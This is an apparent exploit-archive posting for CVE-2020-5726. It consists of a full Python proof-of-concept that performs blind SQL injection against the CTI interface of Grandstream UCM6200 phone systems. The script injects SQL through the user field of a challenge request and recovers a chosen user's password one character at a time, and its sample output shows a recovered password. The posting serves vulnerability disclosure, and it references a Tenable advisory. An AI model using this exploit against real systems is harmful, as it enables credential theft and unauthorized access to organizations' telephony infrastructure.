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Grandstream UCM6200 Series CTI Interface SQL Injection

Grandstream UCM6200 Series CTI Interface SQL Injection
Posted Mar 31, 2020
Authored by Jacob Baines

Grandstream UCM6200 Series CTI Interface versions 1.0.20.20 and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2020-5726
MD5 | 25480670d4330e8172e282e366c594c9

Grandstream UCM6200 Series CTI Interface SQL Injection

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# Exploit Title: Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection
# Date: 2020-03-30
# Exploit Author: Jacob Baines
# Vendor Homepage: http://www.grandstream.com/
# Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware
# Version: 1.0.20.20 and below
# Tested on: Grandstream UCM6202 1.0.20.20
# CVE : CVE-2020-5726
# Grandstream UCM6200 Series CTI Interface SQL Injection Password Disclosure
# Advisory: https://www.tenable.com/security/research/tra-2020-17
# Sample output:
#
# albinolobster@ubuntu:~$ python3 cti_injection.py --rhost 192.168.2.1
--user lolwat
# [+] Reaching out to 192.168.2.1:8888
# [+] Password length 9
# [+] The password is LabPass1%

import sys
import time
import json
import struct
import socket
import argparse

def send_cti_with_length(sock, payload):
to_send = struct.pack('>I', len(payload))
to_send = to_send + payload
sock.sendall(to_send)

return recv_cti_with_length(sock)

def recv_cti_with_length(sock):
length = sock.recv(4)
length = struct.unpack('>I', length)[0]
response = sock.recv(length)
return response

top_parser = argparse.ArgumentParser(description='')
top_parser.add_argument('--rhost', action="store", dest="rhost",
required=True, help="The remote host to connect to")
top_parser.add_argument('--rport', action="store", dest="rport", type=int,
help="The remote port to connect to", default=8888)
top_parser.add_argument('--user', action="store", dest="user",
required=True, help="The user to brute force")
args = top_parser.parse_args()


print('[+] Reaching out to ' + args.rhost + ':' + str(args.rport))

length = 0
while length < 100:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.rhost, args.rport))

challenge_resp = send_cti_with_length(sock, b"action=challenge&user=" +
args.user.encode('utf-8') + b"' AND LENGTH(user_password)=" +
str(length).encode('utf-8') + b"--")
inject_result = json.loads(challenge_resp)

if (inject_result['status'] == 0):
break
else:
length = length + 1

sock.close()

if length == 100:
print('[-] Failed to discover the password length')
sys.exit(1)

print('[+] Password length', length)

password = ''
while len(password) < length:
value = 0x20
while value < 0x80:

if value == 0x22 or value == 0x5c:
temp_pass = password + '\\'
temp_pass = temp_pass + chr(value)
else:
temp_pass = password + chr(value)

temp_pass_len = len(temp_pass)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.rhost, args.rport))

challenge_resp = send_cti_with_length(sock,
b"action=challenge&user=" + args.user.encode('utf-8') + b"' AND
user_password LIKE \'" + temp_pass.encode('utf-8') + b"%' AND
substr(user_password,1," + str(temp_pass_len).encode('utf-8') + b") = '" +
temp_pass.encode('utf-8') + b"'--")
inject_result = json.loads(challenge_resp)

sock.close()

if (inject_result['status'] == 0):
password = temp_pass
break
else:
value = value + 1
continue

if value == 0x80:
print('oh no.')
sys.exit(0)

print('[+] The password is', password)
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